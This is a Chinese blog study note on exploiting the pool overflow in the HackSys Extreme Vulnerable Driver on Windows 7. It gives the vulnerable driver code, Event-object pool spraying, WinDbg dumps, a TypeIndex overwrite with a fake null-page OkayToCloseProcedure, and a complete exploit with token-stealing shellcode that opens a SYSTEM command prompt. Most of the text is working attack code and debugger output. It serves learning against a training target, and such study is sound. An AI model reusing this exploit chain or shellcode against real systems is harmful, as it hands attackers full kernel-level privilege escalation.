Windows內核漏洞學習-內核利用程序之池溢出

0x00:前言

昨天閱讀了內核池的一些原理,與Linux堆還是有很多相似的。今天繼續調試HEVD中池溢出攻擊。參考的原文:

0x01:漏洞原理

漏洞源碼:

NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    PVOID KernelBuffer = NULL;
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Allocating Pool chunk\n");

        // Allocate Pool chunk
        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
                                             (SIZE_T)POOL_BUFFER_SIZE,
                                             (ULONG)POOL_TAG);

        if (!KernelBuffer) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
        }

        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
        // Hence, there will be no overflow
        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE);
#else
        DbgPrint("[+] Triggering Pool Overflow\n");

        // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
        // because the developer is passing the user supplied value directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of the allocated Pool chunk
        RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif

        if (KernelBuffer) {
            DbgPrint("[+] Freeing Pool chunk\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

            // Free the allocated Pool chunk
            ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
            KernelBuffer = NULL;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

對比安全和不安全的版本,與棧溢出類似,都是在將用戶傳過來的數據拷貝進入內核緩衝區時,以用戶傳入的Size作爲數據大小,這樣就會造成溢出。因爲這裏的緩衝區是內核池,所以爲池溢出。

0x02:漏洞分析

首先使用正常大小的塊填充,再free池的代碼調用前下斷點觀察。

在這裏插入圖片描述

#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}

int main()
{
    DWORD bReturn = 0;
    char buf[0x1F8];
    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    RtlFillMemory(buf, 0X1F8, 0x41);
    DeviceIoControl(hDevice, 0x22200f, buf, 0X1F8, NULL, 0, &bReturn, NULL);

    return 0;
}

在這裏插入圖片描述

這裏可以看到,只要我們再多輸入一點內容,就會覆蓋下一個塊的POOL_HEAD,如果胡亂輸入,則一定會破壞下一個塊。但如果合理利用,則可完成任意代碼的執行。首先先不說漏洞利用的機制,先根據上一節的內容,繼續使用內存池噴射技術,將我們想要利用的塊放到我們期望的位置。

池噴射

回顧UAF中內核池噴射中,使用了 IoCompletionReserve對象噴射了非分頁內存池,但是它的對象大小爲0x60,這裏我們需要申請的塊大小爲0x200,所以不符合。但是幸運的是,事件對象的尺寸是0x40,乘上8就是0x200。因此我們可以大量創建事件對象,然後在其中連續釋放相鄰的8個事件對象即可空出一塊0x200大小的空間。這裏首先創建10000個時間對象用來填充非分頁內存池的碎片,然後創建5000個對象用於完成我們可預測的分配。在這5000個對象中,每隔16個對象便釋放8個對象創建0x200大小的可利用空間。利用代碼如下:

#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}
//非分頁內存的池噴射
HANDLE    EventObjectArrayA[10000];
HANDLE    EventObjectArrayB[5000];
VOID SprayNonPagedPoolWithEventObjects() {
    UINT32 i = 0;

    for (i = 0; i < 10000; i++) {
        EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

        if (!EventObjectArrayA[i]) {
            printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 0; i < 5000; i++) {
        EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

        if (!EventObjectArrayB[i]) {
            printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }
}

//在噴射池中釋放可預測的空間
VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
    UINT32 i = 0;
    UINT32 j = 0;

    for (i = 0; i < 5000; i += 16) {
        for (j = 0; j < 8; j++) {
            if (!CloseHandle(EventObjectArrayB[i + j])) {
               printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
                exit(EXIT_FAILURE);
            }
        }
    }
}
int main()
{
    DWORD bReturn = 0;
    char buf[0x1f8];
    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    RtlFillMemory(buf, 0x1f8, 0x41);
    SprayNonPagedPoolWithEventObjects();
    CreateHolesInNonPagedPoolByCoalescingEventObjects();
    DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8, NULL, 0, &bReturn, NULL);

    return 0;
}

再次執行,在斷點處斷下,可以看到我們申請的塊被8個Event對象包裹着。這說明我們成功的將塊在可預測的空間申請到了。

****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8721BD88
[+] UserBuffer: 0x0028FCB8
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x8721BD88
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
[+] Freeing Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x8721BD88
Breakpoint 0 hit
8e2e2239 ff1510002e8e    call    dword ptr ds:[8E2E0010h]
kd> !pool 0x8721BD88
Pool page 8721bd88 region is Nonpaged pool
 8721b000 size:   40 previous size:    0  (Allocated)  Even (Protected)
 8721b040 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b080 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b0c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b100 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b140 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b180 size:  200 previous size:   40  (Free)       Even
 8721b380 size:   40 previous size:  200  (Allocated)  Even (Protected)
 8721b3c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b400 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b440 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b480 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b4c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b500 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b540 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b580 size:   c0 previous size:   40  (Free)       Even
 8721b640 size:  140 previous size:   c0  (Allocated)  Io   Process: 8743e030
 8721b780 size:   40 previous size:  140  (Allocated)  Even (Protected)
 8721b7c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b800 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b840 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b880 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b8c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b900 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b940 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b980 size:   c0 previous size:   40  (Free)       Even
 8721ba40 size:  140 previous size:   c0  (Free )  Io   Process: 8743e030
 8721bb80 size:   40 previous size:  140  (Allocated)  Even (Protected)
 8721bbc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bc00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bc40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bc80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bcc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bd00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bd40 size:   40 previous size:   40  (Allocated)  Even (Protected)
*8721bd80 size:  200 previous size:   40  (Allocated) *Hack
		Owning component : Unknown (update pooltag.txt)
 8721bf80 size:   40 previous size:  200  (Allocated)  Even (Protected)
 8721bfc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

接下來查看三個數據結構,這三個數據結構緊鄰着我們輸入的數據末尾,是屬於下一個塊的數據結構。

kd> dt nt!_POOL_HEADER 8721bf80
   +0x000 PreviousSize     : 0y001000000 (0x40)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000001000 (0x8)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x4080040
   +0x004 PoolTag          : 0xee657645
   +0x004 AllocatorBackTraceIndex : 0x7645
   +0x006 PoolTagHash      : 0xee65
kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 8721bf80+8
   +0x000 PagedPoolCharge  : 0
   +0x004 NonPagedPoolCharge : 0x40
   +0x008 SecurityDescriptorCharge : 0
   +0x00c SecurityDescriptorQuotaBlock : (null) 
kd> dt nt!_OBJECT_HEADER 8721bf80+8+10
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0xc ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0 ''
   +0x010 ObjectCreateInfo : 0x87bb7d80 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x87bb7d80 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD
kd> dd 8721bf80
8721bf80  04080040 ee657645 00000000 00000040
8721bf90  00000000 00000000 00000001 00000001
8721bfa0  00000000 0008000c 87bb7d80 00000000
8721bfb0  00040001 00000000 8721bfb8 8721bfb8

這三個數據結構都可以在塊裏找到對應的數據。無論我們怎樣溢出,這0x40個數據對應的這個三個數據結構,都不應該被破壞,但是可以修改其相應的值。接下來我們看如何利用該漏洞。

重要的數據結構

注意到 OBJECT_HEADER 數據結構裏的 TypeIndex值。該值是一個指針數組的偏移量,它描述了該塊的對象類型

在這裏插入圖片描述

進行驗證查看

在這裏插入圖片描述

kd> dt nt!_OBJECT_TYPE Name 857dabc0
   +0x008 Name : _UNICODE_STRING "Event"

該地址即對象指針的地址,我們進一步查看。同時,我們注意到上一步中, ObTypeIndexType 表中的第一項爲空指針,第0XC+1項爲我們當前查看的指針對象。

kd> dt nt!_OBJECT_TYPE  857dabc0
   +0x000 TypeList         : _LIST_ENTRY [ 0x857dabc0 - 0x857dabc0 ]
   +0x008 Name             : _UNICODE_STRING "Event"
   +0x010 DefaultObject    : (null) 
   +0x014 Index            : 0xc ''
   +0x018 TotalNumberOfObjects : 0x3de6
   +0x01c TotalNumberOfHandles : 0x3e3c
   +0x020 HighWaterNumberOfObjects : 0x47ae
   +0x024 HighWaterNumberOfHandles : 0x4804
   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER
   +0x078 TypeLock         : _EX_PUSH_LOCK
   +0x07c Key              : 0x6e657645
   +0x080 CallbackList     : _LIST_ENTRY [ 0x857dac40 - 0x857dac40 ]

注意到TypeInfo這一項

kd> dx -id 0,0,ffffffff87db9030 -r1 (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff857dabe8))
(*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff857dabe8))                 [Type: _OBJECT_TYPE_INITIALIZER]
    [+0x000] Length           : 0x50 [Type: unsigned short]
    [+0x002] ObjectTypeFlags  : 0x0 [Type: unsigned char]
    [+0x002 ( 0: 0)] CaseInsensitive  : 0x0 [Type: unsigned char]
    [+0x002 ( 1: 1)] UnnamedObjectsOnly : 0x0 [Type: unsigned char]
    [+0x002 ( 2: 2)] UseDefaultObject : 0x0 [Type: unsigned char]
    [+0x002 ( 3: 3)] SecurityRequired : 0x0 [Type: unsigned char]
    [+0x002 ( 4: 4)] MaintainHandleCount : 0x0 [Type: unsigned char]
    [+0x002 ( 5: 5)] MaintainTypeList : 0x0 [Type: unsigned char]
    [+0x002 ( 6: 6)] SupportsObjectCallbacks : 0x0 [Type: unsigned char]
    [+0x004] ObjectTypeCode   : 0x2 [Type: unsigned long]
    [+0x008] InvalidAttributes : 0x100 [Type: unsigned long]
    [+0x00c] GenericMapping   [Type: _GENERIC_MAPPING]
    [+0x01c] ValidAccessMask  : 0x1f0003 [Type: unsigned long]
    [+0x020] RetainAccess     : 0x0 [Type: unsigned long]
    [+0x024] PoolType         : NonPagedPool (0) [Type: _POOL_TYPE]
    [+0x028] DefaultPagedPoolCharge : 0x0 [Type: unsigned long]
    [+0x02c] DefaultNonPagedPoolCharge : 0x40 [Type: unsigned long]
    [+0x030] DumpProcedure    : 0x0 [Type: void (*)(void *,_OBJECT_DUMP_CONTROL *)]
    [+0x034] OpenProcedure    : 0x0 [Type: long (*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]
    [+0x038] CloseProcedure   : 0x0 [Type: void (*)(_EPROCESS *,void *,unsigned long,unsigned long)]
    [+0x03c] DeleteProcedure  : 0x0 [Type: void (*)(void *)]
    [+0x040] ParseProcedure   : 0x0 [Type: long (*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]
    [+0x044] SecurityProcedure : 0x8406f5b6 [Type: long (*)(void *,_SECURITY_OPERATION_CODE,unsigned long *,void *,unsigned long *,void * *,_POOL_TYPE,_GENERIC_MAPPING *,char)]
    [+0x048] QueryNameProcedure : 0x0 [Type: long (*)(void *,unsigned char,_OBJECT_NAME_INFORMATION *,unsigned long,unsigned long *,char)]
    [+0x04c] OkayToCloseProcedure : 0x0 [Type: unsigned char (*)(_EPROCESS *,void *,void *,char)]
kd> dt nt!_OBJECT_TYPE  857dabc0

重要的部分就是"OkayToCloseProcedure"的偏移,位於TypeInfo的0x4C處。如果,當對象句柄被釋放且塊也被釋放,該值不爲空,內核會跳轉到該地址來執行。也可以使用該結構的其他成員,比如"DeleteProcedure"。問題在於我們要如何利用它?記住池塊本身包含了TypeIndex值(0xC),如果我們溢出該塊並將該值修改爲0x0的話,對象就會嘗試在進程的零頁上查找OBJECT_TYPE結構體。我們使用的環境是Win7,可以分配一個零頁並創建一個僞造的"OkayToCloseProcedure"指針指向我們的shellcode。在釋放了被污染的塊時,內核就應該會執行到我們的代碼了!

0x03:漏洞利用

首先弄清楚,我們覆蓋的是0x200塊後的0x40大小的Event對象。所以我們可以按照它的數據結構頭進行精準複製,僅僅只改它的TypeIndex值大小。對比之前的數據,僅僅將0xC改爲0X0。
在這裏插入圖片描述

以下爲代碼

int main()
{
    DWORD bReturn = 0;
    char buf[0x1f8+40];
    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    RtlFillMemory(buf, 0x1f8, 0x41);
    PVOID Memory = (PVOID)((ULONG)buf + (ULONG)0x1F8);
   *(PULONG)Memory =(ULONG)0x04080040;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0xee657645;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000040;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000001;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000001;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00080000;
    SprayNonPagedPoolWithEventObjects();
    CreateHolesInNonPagedPoolByCoalescingEventObjects();
    DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8+40, NULL, 0, &bReturn, NULL);

    return 0;
}

驗證一下,發現TypeIndex被覆蓋爲0,其餘值不變。說明我們這裏覆蓋正確。

kd> dt nt!_OBJECT_HEADER 871b7f40+8+10
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0 ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0 ''
   +0x010 ObjectCreateInfo : 0x87bb7d80 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x87bb7d80 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

接下來,我們就申請0頁內存,在0頁處,精心構造一個僞造的"OkayToCloseProcedure"指針。

//申請0頁內存
    PVOID    Zero_addr = (PVOID)1;
    SIZE_T    RegionSize = 0x1000;

    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");

    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");
        return 0;
    }

    printf("[+]Started to alloc zero page...\n");
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &Zero_addr,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || Zero_addr != NULL)
    {
        printf("[+]Failed to alloc zero page!\n");
        system("pause");
        return 0;
    }
    printf("[+]Success to alloc zero page...\n");
    *(DWORD*)(0x60) = (DWORD)&ShellCode;

執行後即可完成提權!

在這裏插入圖片描述

完整代碼附上

#include<stdio.h>
#include<Windows.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define Null_Pointer_Dereference 0x22202b
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
HANDLE hDevice = NULL;

__declspec(naked) VOID ShellCode()
{
    _asm
    {
        nop
        pushad
        mov eax, fs: [124h]		// 找到當前線程的_KTHREAD結構
        mov eax, [eax + 0x50]   // 找到_EPROCESS結構
        mov ecx, eax
        mov edx, 4				// edx = system PID(4)

        // 循環是爲了獲取system的_EPROCESS
        find_sys_pid :
        mov eax, [eax + 0xb8]	// 找到進程活動鏈表
        sub eax, 0xb8    		// 鏈表遍歷
        cmp[eax + 0xb4], edx    // 根據PID判斷是否爲SYSTEM
        jnz find_sys_pid

        // 替換Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        ret 
    }
}
static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
BOOL init()
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}
//非分頁內存的池噴射
HANDLE    EventObjectArrayA[10000];
HANDLE    EventObjectArrayB[5000];
VOID SprayNonPagedPoolWithEventObjects() {
    UINT32 i = 0;

    for (i = 0; i < 10000; i++) {
        EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

        if (!EventObjectArrayA[i]) {
            printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 0; i < 5000; i++) {
        EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

        if (!EventObjectArrayB[i]) {
            printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }
}

//在噴射池中釋放可預測的空間
VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
    UINT32 i = 0;
    UINT32 j = 0;

    for (i = 0; i < 5000; i += 16) {
        for (j = 0; j < 8; j++) {
            if (!CloseHandle(EventObjectArrayB[i + j])) {
               printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
                exit(EXIT_FAILURE);
            }
        }
    }
}
//釋放對象
VOID FreeEventObjects() {
    UINT32 i = 0;
    UINT32 j = 0;

    for (i = 0; i < 10000; i++) {
        if (!CloseHandle(EventObjectArrayA[i])) {
            printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 8; i < 5000; i += 16) {
        for (j = 0; j < 8; j++) {
            if (!CloseHandle(EventObjectArrayB[i + j])) {
                printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
                exit(EXIT_FAILURE);
            }
        }
    }
}
int main()
{
    DWORD bReturn = 0;
    char buf[0x1f8+40];
    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    RtlFillMemory(buf, 0x1f8, 0x41);
    PVOID Memory = (PVOID)((ULONG)buf + (ULONG)0x1F8);
   *(PULONG)Memory =(ULONG)0x04080040;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0xee657645;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000040;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000001;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000001;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00080000;
    SprayNonPagedPoolWithEventObjects();
    CreateHolesInNonPagedPoolByCoalescingEventObjects();
    //申請0頁內存
    PVOID    Zero_addr = (PVOID)1;
    SIZE_T    RegionSize = 0x1000;

    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");

    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");
        return 0;
    }

    printf("[+]Started to alloc zero page...\n");
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &Zero_addr,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || Zero_addr != NULL)
    {
        printf("[+]Failed to alloc zero page!\n");
        system("pause");
        return 0;
    }
    printf("[+]Success to alloc zero page...\n");
    *(DWORD*)(0x60) = (DWORD)&ShellCode;
    DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8+40, NULL, 0, &bReturn, NULL);
    FreeEventObjects();
    CreateCmd();
    return 0;
}

明日計劃

繼續學習內核漏洞相關知識。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章